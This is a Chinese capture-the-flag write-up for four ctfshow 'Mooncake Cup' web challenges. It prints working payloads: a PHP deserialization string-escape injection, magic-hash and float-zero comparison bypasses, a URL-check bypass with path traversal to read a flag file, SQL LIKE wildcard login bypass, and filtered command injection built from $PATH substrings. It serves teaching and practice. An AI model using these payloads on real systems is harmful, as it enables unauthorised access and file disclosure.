CTFSHOW-日刷-[月饼杯]web

此夜圆

下载查看源码

<?php
error_reporting(0);

class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='yu22x')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

貌似是要让password等于yu22x

但是password固定是1了,这里可以发现有个过滤会把Firebasky替换成Firebaskyup,虽然这个单词意义不明,但是重要的是长度发生了变化,可以借此绕过。

传入:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

即可,原理是替换后长度增加,但是序列化后的数字没变,会导致提前闭合,把我们传入的字符串当作序列化的一部分。

CTFSHOW-日刷-[月饼杯]web

 

 

 

 

 

 

 

故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

第一关,前面三个好实现,第三个平方为0,但是和前面不为0 矛盾。

其实玩过计算器啥的知道小数够小会当作0的。这里输入a=1e-200即可

第二关是满足hash2和自身相等,和hash2的hash2和自身相等的两个数字

这里利用PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。即如果md的值是以0e开头的,那么就与其他的0e开头的Md5值是相等的。

这里再robots里有提示,爆破即可,这里直接给出答案:b=0e652024452,c=0e603448399。

CTFSHOW-日刷-[月饼杯]web

 

 

 可以看出告诉你flag在根目录下了

 if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }

这里要求传入参数是url格式,同时含有ctfshow.com就会文件读取。但是我们要读取本地文件

这里利用php中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。

我们随便写个协议test://,加上ctfshow.com它会认为是目录,最后目录穿越即可

url=test://ctfshow.com/../../../../../../fl0g.txt

CTFSHOW-日刷-[月饼杯]web

 

 

 

 

 

 

莫负婵娟

查看前端代码

CTFSHOW-日刷-[月饼杯]web

 

 

 可以发现sql语句,这里开始犯傻了,后面反应过来了这是like模糊匹配,我们直接用通配符就行了

% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符
[ ] 表示指定范围 ([a-f]) 或集合 ([abcdef]) 中的任何单个字符
[^] 不属于指定范围 ([a-f]) 或集合 ([abcdef]) 的任何单个字符
* 它同于DOS命令中的通配符,代表多个字符
?同于DOS命令中的?通配符,代表单个字符
# 大致同上,不同的是代只能代表单个数字

试了发现_没过滤

账号5个下划线,密码32个下划线

CTFSHOW-日刷-[月饼杯]web

 

 

 发现登入进去貌似没啥用

这里发现账号给你了yu22x,通过一位一位的跑,可以知道密码是67815b0c009ee970fe4014abaa3Fa6A0

CTFSHOW-日刷-[月饼杯]web

 

 

 用账号密码登入后,发现ip输入框

这里大概率是命令执行,测试一下发现小写字母全被过滤。大写字母、数字、$:没被过滤。

这里用环境变量构造ls

CTFSHOW-日刷-[月饼杯]web

linux中输入echo $path

CTFSHOW-日刷-[月饼杯]web

 

 ${PATH:5:1}就是第五个(0开始)去一位就是l

同理构造 ${PATH:14:1}${PATH:5:1} ????.???

就是nl flag.php 符合????.???就这一个

CTFSHOW-日刷-[月饼杯]web

 

上一篇:ctfshow_月饼杯


下一篇:ctfshow-web5